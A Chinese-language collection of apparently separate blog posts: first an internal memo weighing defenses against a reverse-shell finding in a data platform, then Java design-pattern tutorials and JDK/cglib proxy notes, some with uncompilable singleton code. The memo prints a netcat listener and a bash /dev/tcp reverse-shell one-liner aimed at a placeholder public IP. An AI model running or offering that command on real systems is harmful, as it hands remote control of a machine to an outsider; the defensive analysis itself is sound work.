目前公司的产品的《命令行复测结果简报》中检测出反弹shell漏洞, 需要对该问题做出相关相关应对方案。

二. 反弹shell介绍

  反弹shell(reverse shell)，就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制
端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的⻆色反转。
  例子:

• 攻击者在其机器上监听端口

  1 2	// 通过netcat工具监听 6767端口号(tcp/udp)并且输出交互信息 nc -lvp 6767

• 在被攻击端执行下面命令

  1 2	//产生一个交互的shell 并且建立socket连接读取这个文件 bash -i >& /dev/tcp/公网ip/ 6767 0 >& 1

  \

  

三. 漏洞分析

  该漏洞的核心思想是在被攻击节点建立socket通道连接外网打通攻击者服务器,从而实现渗透。用户可以通过Datasimba 执行
shell 、python、jar 实现shell反弹,分析该问题目前能想到的解决思路如下:

• 限定被攻击节点对外访问请求；
• 监听 socket 通道的进程 发现即kill或报警
• 通过用户空间隔离技术(chroot)
• 通过容器虚拟化技术实现环境资源隔离
  按照以上思路提供的解决方案

四. 反弹shell防御方案

方案一: 产品功能对任务代码的关键字作限制

• 解释：代码中如果包含类似shell反弹的任务不能进行保存和运行
• 优点：从源头上避免反弹shell代码进入到产品服务内部
• 缺点：用户可以通过在代码中添加包含反弹shell的文件,或者通过下载外部文件的
  方式绕过校验限制

方案二: 对被攻击节点 增加 ip白名单限制外网访问

• 解释：
  i. 目前Dataworkes(阿里云) 对于ip白名单 shell反弹的解决思路
  ii. 目前有的客户就是使用禁止外网访问的方式避免掉的
• 优点：配置简单,从源头上解决问题,可以有效控制被攻击节点的ip
• 缺点：灵活性差,比如simba接入新的数据源,则数据源的ip需要添加到白名单中

方案三: 自动防御shell反弹

• 解释：通过linux IPC机制Netlink，用于在内核与用户进程之间传递消息,捕获进程事件信息，通过监控到的进程信息进行处理
• 优点：自动监控系统进程,发现非法进程直接kill,一般情况下绕过较难
• 缺点：i. 运维成本增加
  ii. 通过上传可执行文件通过其他思路实现反弹,比如通过java或者python写一个SocketServer 程序执行.

方案四: 通过容器虚拟化技术建立隔离操作系统

• 解释：
  i.首先在产品的工作节点上通过docker技术创建出虚拟化的容器作为隔离层
  ii.在功能中对于python、shell、jar任务类型在simba的工作节点上真正执行时我们会在隔离层
  执行相关逻辑(只依赖其操作系统环境)。如果出现黑客攻击者通过shell反弹技术入侵其实操作的是虚拟出来的操作系统,不会对容器外
  部的机器造成任何威胁。
• 优点: 通过容器虚拟化技术虚拟出新的操作系统实现完全的隔离。
• 缺点：对simba现有worker的工作节点进行架构优化改造，短时间内无法完成。

五. 目前的思路

• 思路一：通过方案二来从源头上解决问题(可能会增加额外的配置成本)
• 思路二: 可以通过方案一、方案三组合使用,通过方案一和方案三的优缺点进行互补,方案一从产品层面限制反弹
  shell进入到产品平台,方案三可防止通过引用上传文件绕过的限制。可以避免大多数场景。理论上进入到产品平台的用户
  大多数都是内部和已知用户都可以追溯和溯源(排除账号被盗问题)
• 思路三: 为了彻底解决非法用户通过编写其他技术方式实现所谓的’反弹’,后续会排期对产品的工作节点增加方案四-容器
  虚拟化的方式来避免’反弹’问题。

观察者模式又叫发布订阅模式,拥有一个监听者,如果一个被监听者发生了改变则会通知到所有监听者。例子,警察和嫌疑犯之间就是观察者模式。微信朋友圈,相对于好友,你就是观察者,微信好友发送朋友圈你会收到通知

类图

代码实现

1
2
3
4
5
6
7
8
9
10
11
12

public class PoliceMan {
    private String name;

    public PoliceMan(String name) {
        this.name = name;
    }

    public void name() {
        System.out.println("我是:" + name + "收到消息");
    }

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

public class XianFan1 {
    private String name;

    public XianFan1(String name) {
        this.name = name;
    }

    private List<PoliceMan> policeManList = new ArrayList<>();

    public void addPolice(PoliceMan policeMan) {
        if (!policeManList.contains(policeMan)) {
            policeManList.add(policeMan);
        }
    }

    public void run() {
        System.out.println(name + "跑了");
        notifyAllPoliceMan();
    }
    public void notifyAllPoliceMan(){
        policeManList.stream().forEach(i -> i.name());
    }

}

测试类

1
2
3
4
5
6
7
8
9
10
11
12

public class Main {
    public static void main(String[] args) {
        PoliceMan policeManA =new PoliceMan("警察:A");
        PoliceMan policeManB =new PoliceMan("警察:B");
        PoliceMan policeManC =new PoliceMan("警察:C");
        XianFan1 xianFan1 =new XianFan1("嫌犯1");
        xianFan1.addPolice(policeManA);
        xianFan1.addPolice(policeManB);
        xianFan1.addPolice(policeManC);
        xianFan1.run();
    }
}

总结

可以看到在被观察者类上面存放观察者的集合,在调用观察者的相关方法的时候循环调用观察者,从而实现发布订阅模式。
被观察者需要提供添加观察者和通知观察者方法

• 观察者和被观察者的实现复合开闭原则
• 实现通知模式
• 如果观察者过多通知的时间成本加大
• 观察者只知道目标变化,但是具体变化情况不得而知。可以定义相关事件来区分

桥接（Bridge）是用于把抽象化与实现化解耦，使得二者可以独立变化。这种类型的设计模式属于结构型模式，它通过提供抽象化和实现化之间的桥接结构，来实现二者的解耦。

　　这种模式涉及到一个作为桥接的接口，使得实体类的功能独立于接口实现类。这两种类型的类可被结构化改变而互不影响。
例子：总共又长方形、正方形、三角形、圆形四个形状。如果现在有需求每个形状要有红、黄、蓝，三个颜色。最能想到的是在每个形状下在创建长方形-红、长方形-黄、长方形-蓝、正方形-红、正方形-黄、正方形-蓝…..等等来进行实现。
而使用桥接模式则创建一个抽象的 颜色类。并且实现红色类,黄色类,蓝色类。
扩充的形状类存储颜色的引用对象在创建形状的时候去添加对应的颜色引用对象。

类图

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

public interface Colour {
    void desc();
}

public class Blue implements Colour {
    @Override
    public void desc() {
        System.out.println("蓝色");
    }
}
public class Red implements Colour {
    @Override
    public void desc() {
        System.out.println("红色");
    }
}
public class Yellow implements Colour
{
    @Override
    public void desc() {
        System.out.println("黄色");
    }
}
public abstract class Graphical {
    private Colour colour;

    public Graphical(Colour colour) {
        this.colour = colour;
    }

    abstract void desc();
    public Colour getColour(){
        return colour;
    }
}

public class Rectangle extends Graphical {

    public Rectangle(Colour colour){
      super(colour);
    }
    @Override
    public void desc() {
        System.out.println("长方形");
        getColour().desc();
    }
}

public class Square extends Graphical {

    public Square(Colour colour){
      super(colour);
    }
    @Override
    public void desc() {
        System.out.println("正方形");
        getColour().desc();
    }
}

public class Triangle extends Graphical {

    public Triangle(Colour colour) {
        super(colour);
    }

    @Override
    public void desc() {
        System.out.println("三角形");
        getColour().desc();
    }
}
public class Main {
    public static void main(String[] args) {
        Rectangle rectangle = new Rectangle(new Blue());
        rectangle.desc();
    }
}

优点

1. 解耦解耦解耦解耦解耦解耦解耦
2. 实现细节对客户透明，可以对用户隐藏实现细节

缺点

桥接模式的引入会增加系统的理解与设计难度，由于聚合关联关系建立在抽象层，要求开发者针对抽象进

外观模式属于结构型模式的一种,当子系统的方法众多,可以引用外观模式在外观类将子方法的方法封装起来,外观类提供简单的api方法。外观类的方法屏蔽掉了复杂的api调用

类图

下图为外观模式类图\

代码

1
2
3
4
5

public class SubMethod1 {
    public void method1(){
        System.out.println("子系统中类1的方法1");
    }
}

1
2
3
4
5

public class SubMethod2 {
     public void method2(){
         System.out.println("子系统中类2方法2");
     }
 }

1
2
3
4
5

public class SubMethod3 {
    public void method3(){
        System.out.println("子系统类3方法3");
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14

public class Facader {
    private SubMethod1 sm1 = new SubMethod1();
    private SubMethod2 sm2 = new SubMethod2();
    private SubMethod3 sm3 = new SubMethod3();
    public void facMethod1(){
        sm1.method1();
        sm2.method2();
    }
    public void facMethod2(){
        sm2.method2();
        sm3.method3();
        sm1.method1();
    }
}

1
2
3
4
5
6
7
8
9

public class Clienter {

    public static void main(String[] args) {
        Facader face = new Facader();
        face.facMethod1();
//        face.facMethod2();
    }

}

• 优点
  外观模式的优点
  对客户屏蔽子系统组件，减少了客户处理的对象数目并使得子系统使用起来更加容易。通过引入外观模式，客户代码将变得很简单，与之关联的对象也很少。
  实现了子系统与客户之间的松耦合关系，这使得子系统的组件变化不会影响到调用它的客户类，只需要调整外观类即可。
  降低了大型软件系统中的编译依赖性，并简化了系统在不同平台之间的移植过程，因为编译一个子系统一般不需要编译所有其他的子系统。一个子系统的修改对其他子系统没有任何影响，而且子系统内部变化也不会影响到外观对象。
  只是提供了一个访问子系统的统一入口，并不影响用户直接使用子系统类。
• 缺点
  外观模式的缺点
  不能很好地限制客户使用子系统类，如果对客户访问子系统类做太多的限制则减少了可变性和灵活性。
  在不引入抽象外观类的情况下，增加新的子系统可能需要修改外观类或客户端的源代码，违背了“开闭原则”。

自己总结
优点：

1. 功能调用子系统的方法太多,不好维护使用外观模式来屏蔽复杂子系统方法的调用,代码更简单
2. 子类和使用者之间体现了松耦合的关系,修改功能只需要修改外观类即可
   缺点:
   如果使用太多子系统的方法,会使外观类不好维护,可变性灵活性下降

适配器模式属于结构性模式,将适配类的api转化为目标类的api,如mac电脑使用的是typec的接口,连接显示器需要hdmi接口。我们要使用mac连接显示器,需要使用扩展坞,这其实就是适配器模式。

类图

分类

• 类适配
  是基于继承实现的
• 对象适配
  使用组合方式实现,更加灵活

代码

1
2
3
4
5

public class MacInterface {
        public void typeC(){
            System.out.println("type 已经连接..");
        }
}

1
2
3
4

public interface Monitor {

     void hdml();
}

• 类适配

  1 2 3 4 5 6 7

  public class ExtendUtil extends MacInterface implements Monitor { @Override public void hdml() { super.typeC(); } }

• 对象适配

  1 2 3 4 5 6 7 8 9 10

  public class ExtendUtilV2 implements Monitor{ private MacInterface macInterface; public ExtendUtilV2(){ macInterface =new MacInterface(); } @Override public void hdml() { macInterface.typeC(); } }

• 测试代码

  1 2 3 4 5 6 7 8 9 10

  public class Main { public static void main(String[] args) { // 类适配模式 ExtendUtil extendUtil =new ExtendUtil(); extendUtil.hdml(); // 对象适配模式 ExtendUtilV2 extendUtilV2 =new ExtendUtilV2(); extendUtilV2.hdml(); } }

  

总结

• 优点

1. 复用性好,可以适配系统中已经存在的方法,无需重写
2. 扩展性好,可以在适配类中添加想要适配的方法

• 缺点

1. 系统中一旦适配类变多则导致系统代码混乱。代码晦涩难懂

单例模式对于开发人员来讲并不陌生通过单利模式可以控制应用程序中,只有一个对象的实例,分为饿汉式和懒汉式.饿汉式在类加载的时候就初始化,懒汉模式拥有延迟加载的思想,在使用的时候创建。实现单例模式的思想就是私有构造方法。通过getInstance()方法获取对应实例\

饿汉式

1
2
3
4
5
6
7
8

public class Singleton{
 private static final Singleton singleton =new Singleton();
private Singleton{
 }
 public static Singleton getInstance(){
 return singleton;
}
}

懒汉式

1
2
3
4
5
6
7
8
9
10
11
12
13

public class Singleton{
 private static final singleton = null;
private Singleton{
 }
  private Singleton{
  }
public static Singleton getInstance(){
if(null==singleton){
 singleton =new Singleton();
}
return singleton;
}
}

上面的实现方式在多线程的环境下是线程不安全的,下面来个线程安全的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

public class Singleton{
// volatile 保证每次都从主内存中取,不会在工作线程内存中取,效率不高
 private static volatile final singleton = null;
  private Singleton{
  }
public static Singleton getInstance(){
if(null==singleton){
   //双重锁检查
   synchronized(Singleton.class) {
    if(null==singleton){
         singleton =new Singleton();
    }
    }

}
return singleton;
}
}

下面是利用jvm加载静态内部类的方式实现单例模式.jvm初始化类

1
2
3
4
5
6
7
8
9

public class Singleton{
  private static class SingletonHodle{
   private static Singleton singleton =new Singleton();
public static getInstance(){
// 保证jvm加载SingletonHodle初始Singleton实例
return SingletonHodle.singleton;
  }
 }
}

使用枚举实现单子例模式

1
2
3
4
5
6
7

public enum Singleton {
    uniqueInstance;// 定义一个枚举的元素，它就代表了Singleton的一个实例,因为枚举在编译成class文件,对应的属性就是 static final的保证了jvm初始化类的时候只能生成一个实例
    public void singletonOperation() {
        // 功能处理
        System.err.println("功能处理");
    }
}

破快单利模式的三种方式

• 序列化
• 反射
• clone

如何避免单利模式被破快

• 序列化
  增加readResolve()方法,返回实例对象
• 反射
  创建标志位,is_create标志,如果is_create=true 则抛异常
• clone
  重写clone方法,返回对应的instance

jdk的实现

我们 JDK 中，java.lang.Runtime 就是经典的单例模式(饿汉式)

1、定义：将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示
2、主要作用：在用户不知道对象的建造过程和细节的情况下就可以直接创建复杂的对象。
3、如何使用：用户只需要给出指定复杂对象的类型和内容，建造者模式负责按顺序创建复杂对象（把内部的建造过程和细节隐藏起来）
4、解决的问题：
（1）、方便用户创建复杂的对象（不需要知道实现过程）
（2）、代码复用性 & 封装性（将对象构建过程和细节进行封装 & 复用）
5、注意事项：与工厂模式的区别是：建造者模式更加关注与零件装配的顺序，一般用来创建更为复杂的对象

实现方式

代码实现

• 抽象建造者（builder）：描述具体建造者的公共接口，一般用来定义建造细节的方法，并不涉及具体的对象部件的创建。

• 具体建造者（ConcreteBuilder）：描述具体建造者，并实现抽象建造者公共接口。

• 指挥者（Director）：调用具体建造者来创建复杂对象（产品）的各个部分，并按照一定顺序（流程）来建造复杂对象。

• 产品（Product）：描述一个由一系列部件组成较为复杂的对象。

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

  /** * Builder.java * 建造者 */ abstract class Builder { //地基 abstract void bulidA(); //钢筋工程 abstract void bulidB(); //铺电线 abstract void bulidC(); //粉刷 abstract void bulidD(); //完工-获取产品 abstract Product getProduct(); }

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38

  /** * Product.java * 产品（房子） */ public class Product { private String buildA; private String buildB; private String buildC; private String buildD; public String getBuildA() { return buildA; } public void setBuildA(String buildA) { this.buildA = buildA; } public String getBuildB() { return buildB; } public void setBuildB(String buildB) { this.buildB = buildB; } public String getBuildC() { return buildC; } public void setBuildC(String buildC) { this.buildC = buildC; } public String getBuildD() { return buildD; } public void setBuildD(String buildD) { this.buildD = buildD; } @Override public String toString() { return buildA+"\n"+buildB+"\n"+buildC+"\n"+buildD+"\n"+"房子验收完成"; } }

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30

  /** * ConcreteBuilder.java * 具体建造者(工人) */ public class ConcreteBuilder extends Builder{ private Product product; public ConcreteBuilder() { product = new Product(); } @Override void bulidA() { product.setBuildA("地基"); } @Override void bulidB() { product.setBuildB("钢筋工程"); } @Override void bulidC() { product.setBuildC("铺电线"); } @Override void bulidD() { product.setBuildD("粉刷"); } @Override Product getProduct() { return product; } }

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

  /** * Director.java * 指挥者 */ public class Director { //指挥工人按顺序造房 public Product create(Builder builder) { builder.bulidA(); builder.bulidB(); builder.bulidC(); builder.bulidD(); return builder.getProduct(); } }

  1 2 3 4 5 6 7 8 9 10 11

  /** * Test.java * 测试类 */ public class Test { public static void main(String[] args) { Director director = new Director(); Product create = director.create(new ConcreteBuilder()); System.out.println(create.toString()); } }

总结

1. Builder 抽象类定义构建的方法
2. 具体实现类实现Builder相关的方法-叫具体建造者
3. 指挥者操作操作具体建造者按照顺序创建对象
4. 产品类有大量属性

优点

• 按照顺序创建对象
• 创建代码可读性好
• 隐藏对象大量属性,可以设置一些属性的默认值

缺点

• 代码冗余
• 具体建造者内部代码复杂,代码可读性差

具体实现

• protobuf生成的实体类

  1 2 3 4

  SimpleRequest.Builder builder = SimpleRequest.newBuilder(); builder.setId(12341); builder.setName("你好"); SimpleRequest request = builder.build();

抽象方法模式是工厂方法模式的一种扩展,最简单的抽象方法模式会退化成了工厂方法模式,抽象方法模式提出了产品族的一个概念。那么什么是产品族呢？还是以汽车为例,汽车是一个产品的抽象,汽车的型号就是汽车的产品族比如,suv,轿车,跑车。如果工厂模式创建的不是一个简单的产品,而是多个产品族的情况,那么就需要使用抽象方法模式\

类图

抽象方法模式需要以下几个角色

• 抽象工厂类

• 产品工厂类

• 抽象产品类

• 产品类\

  

代码实现

1
2
3
4
5

public abstract class  AbstractCarFactory {
        abstract void buildSuv();
        abstract void buildJiaoche();
        abstract void buildYueYeChe();
    }

public class BaoJunCarFactory extends AbstractCarFactory {
private BaojunCar baojunCar=new BaojunCar();
@Override
void buildSuv() {

  baojunCar.suv();

}

@Override
void buildJiaoche() {

  baojunCar.jiaoche();

}

@Override
void buildYueYeChe() {

  baojunCar.yueyeche();

}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

public class BMWCarFactory extends AbstractCarFactory {

    private BMWCar bmwCar =new BMWCar();

    @Override
    void buildSuv() {
        bmwCar.suv();
    }

    @Override
    void buildJiaoche() {
        bmwCar.jiaoche();
    }

    @Override
    void buildYueYeChe() {
        bmwCar.yueyeche();
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

public class BaojunCar implements Car {


    @Override
    public void yueyeche() {
        System.out.println("宝骏 越野车");
    }

    @Override
    public void jiaoche() {
        System.out.println("宝骏 轿车");
    }

    @Override
    public void suv() {
        System.out.println("宝骏 suv");
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

public class BMWCar implements Car {
    @Override
    public void yueyeche() {
        System.out.println("宝马 越野车");
    }

    @Override
    public void jiaoche() {
        System.out.println("宝马 轿车");
    }

    @Override
    public void suv() {
        System.out.println("宝马 suv");
    }
}

1
2
3
4
5

public interface Car {
    void yueyeche();
    void jiaoche();
    void suv();
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14

public class Main {
    public static void main(String[] args) {
        BaoJunCarFactory baoJunCarFactory =new BaoJunCarFactory();
        baoJunCarFactory.buildJiaoche();
        baoJunCarFactory.buildSuv();
        baoJunCarFactory.buildYueYeChe();


        BMWCarFactory bmwCarFactory =new BMWCarFactory();
        bmwCarFactory.buildJiaoche();
        bmwCarFactory.buildSuv();
        bmwCarFactory.buildYueYeChe();
    }
}

可以看到我们的抽象工厂定义了多个抽象方法,这也就是为什么叫抽象方法模式的原因了。实际上和工厂方法模式一样。只是有产品族抽象方法的概念

优缺点

优点：

• 复合高内聚低耦合的开发设计规范,抽象工厂模式将创建产品的逻辑收敛起来,如果更换产品只需要选择对应的工厂方法即可
• 增加具体产品工厂和产品很方便
• 当产品族中的多个对象一起工作的时候,客户端只能使用同一个产品族的对象

缺点：

• 开闭原则的倾斜性,增加产品和产品工厂很方便,增加产品族很困难,所以设计抽象方法的时候一定要尽可能多的设计抽象方法

应用场景

客户端切换界面主题, 各个控件对象的构造过程都收敛到同一个工厂类中

简单工厂模式又叫静态工厂模式,是属于创建型模式,工厂方法通过参数来控制创建不通的对象,这些对象都继承同一个夫类。

类图

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13

public class CarFactory {

    public static Car getCar(String name) {
        if ("BMW".equals(name)) {
            return new BMWCar();
        }
        if ("BAOJUN".equals(name)) {
            return new BaojunCar();
        }
        throw new RuntimeException("unsupport car name ");
    }

}

1
2
3

public interface Car {
    void desc();
}

1
2
3
4
5
6

public class BMWCar implements Car {
    @Override
    public void desc() {
        System.out.println("我是宝马～");
    }
}

1
2
3
4
5
6

public class BaojunCar implements Car {
    @Override
    public void desc() {
        System.out.println("我是宝骏！");
    }
}

1. 产品类（宝马、宝骏）都继承Car类

2. 工厂类根据入参不同返回不通的产品
   下面是主方法

   1 2 3 4 5 6 7 8 9 10

   public class Main { public static void main(String[] args) { Car bmw = CarFactory.getCar("BMW"); bmw.desc(); Car baojun = CarFactory.getCar("BAOJUN"); baojun.desc(); Car xxx = CarFactory.getCar("xxx"); xxx.desc(); } }

   \

   

优缺点

优点：

• 通过入参控制返回不同的产品,隐藏生成产品的逻辑,调用方属于消费者
• 调用方只需要记录相关类的参数即可创建对应的类,避免了创建类名复杂,不好记忆的问题
• 相关参数可以放到配置文件中,一定成都上增加了灵活性

缺点：

• 所有的类创建都在工厂类创建,一但工厂类发生问题所有的产品的创建都受到影响
• 扩展性差,如果增加新的产品需要在工厂类增加代码,导致工厂类过于复杂且庞大
• 产品的创建基于静态方法,造成产品无法形成基于继承的等级结构

应用场景

1. 加密场景 KeyGenerator keyGen=KeyGenerator.getInstance(“DESede”);
2. DateFormat JDK类库中广泛使用了简单工厂模式，如工具类java.text.DateFormat，它用于格式化一个本地日期或者时间。

参考地址

• 图说设计模式
• 设计模式-简单工厂模式

• 单一原则
  一个类只做一件事情
• 里氏替换原则
  1.合理继承
  2.继承 子类是为了扩展父类,而不是重写相关方法。
• 依赖倒置原则
  高模块不应该直接依赖低模块,而是应该依赖其抽象
• 开闭原则
  对扩展开放,对修改关闭
• 迪莱米原则
  一个类引用类一个类,被引用类应该尽可能的封装自己的属性和方法,让别的类知道的越少越好
• 组合复合原则
  不推荐使用继承,可以使用组合的方式进行实现
• 接口隔离原则
  一个类对于另一个类的依赖,应该建立在最小的接口上,使用接口隔离

cglib代理是实现动态代理的另一种方式,CGLIB是一个功能强大，高性能的代码生成包。它为没有实现接口的类提供代理，为JDK的动态代理提供了很好的补充。通常可以使用Java的动态代理创建代理，但当要代理的类没有实现接口或者为了更好的性能，CGLIB是一个好的选择

二、cglib的原理

1. 动态生成目标类的代理类,重写代理类的所有非final修饰的方法,子类使用方法拦截的方式实现目标类的增强,所以cglib代理比jdk反射代理效率更高,并且能代理类,而jdk代理只能代理接口
2. 底层使用asm字节码框架生成代理类,而不是使用反射生成类
3. 缺点不能代理被final修饰的方法

三、cglib代理的实现

public static void main(String[] args) {     System.setProperty(DebuggingClassWriter.DEBUG_LOCATION_PROPERTY, "resource");     Dog dog =new Dog();     Enhancer enhancer =new Enhancer();     //设置目前类     enhancer.setSuperclass(Dog.class);     //设置拦截器     enhancer.setCallback(new MethodInterceptor() {         public Object intercept(Object o, Method method, Object[] objects, MethodProxy methodProxy) throws Throwable {             System.out.println("呵呵,我是增强");             return  methodProxy.invokeSuper(o,objects);         }     });     Dog dogProxy = (Dog) enhancer.create();     dogProxy.run(); }

四、invokeSuper()方法

因为cglib代理是继承目标类,并且重写方法,所以这里调用invokesuper方法,调用父类的方法

五、cglib原理

上图可以看到cglib方式会在内存中生成,3个字节码文件.可以使用 System.setProperty(DebuggingClassWriter.DEBUG_LOCATION_PROPERTY, “resource”);方法将字节码文件写到相关目录。

1. 可以看到代理类实现了目标代理类\

   

2. 可以看到重写run方法,先回去回调方法,如果获取不到就加载回调方法,执行intercept 方法\

   

3. FastClass机制
   FastClass提出了index下标的概念,通过index保存方法的引用信息,将反射调用转化为方法的直接调用,体现所谓的fast\

   

4. 通过方法名计算hashcode值,通过hashcode找到方法对应的index
5. 通过index 调用invoke方法,invoke方法通过index判断执行那个方法

总结

1. 动态代理类通过实现invocationHandler接口
2. 通过
   Proxy.newProxyInstance(factory.getClass().getClassLoader(),person.getClass().getInterfaces(),this)方法
   复制一份代理的类并且生成字节码文件到内存中,
   生成的代理类 继承了Proxy类 并且实现了代理接口
   调用生成的动态代理类中实现的方法,其中调用了其实现的方法，在方法中通过invocationHandler的invoke()方法
   jdk动态代理的缺点 不能代理类,需要实现invocationHandler接口
   jdk动态代理和cglib生成字节码的方式不通
3. cglib动态代理 可以动态代理类
   因为cglib动态生成的类是继承原类,所以可以动态代理到类
4. jdk动态代理实现了自己的顶层接口继承了proxy类

动态代理分为jdk动态代理和cglib动态代理,本章讲解jdk动态代理

二、jdk动态代理如何实现

1. 实现InvorcationHander接口,在invoke()方法实现增强
2. 通过Proxy.newProxyInstance()方法获取到代理类
3. 调用代理引用调用目标方法实现曾江

三、代码实现

1
2
3
4
5
6
7
8
9
10
11
12

public static void main(String[] args) {
        final Car car = new BmwCar();
        Car carProxy = (Car) Proxy.newProxyInstance(Car.class.getClassLoader(), car.getClass().getInterfaces(), new InvocationHandler() {
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                System.out.println("增强前");
                Object invoke = method.invoke(car, args);
                System.out.println("增强后");
                return invoke;
            }
        });
        carProxy.run();
    }

\

四、实现原理

\

\

\

可以看到通过Proxy.newProxyInstance()生成了目标对象的代理类,以二进制的方式加载到了内存中.
那么代理类长什么样子呢？\

1. 代理类继承了Proxy类并且实现了我们的car接口
2. 在实现的run方法中,调用了h.invoke()方法
3. 那么h是什么呢？ h是 Proxy类中的属性,就是InvoketionHander接口的引用,所以jdk代理类必须实现InvoketionHander接口\

   

   
   jdk 动态代理实现图\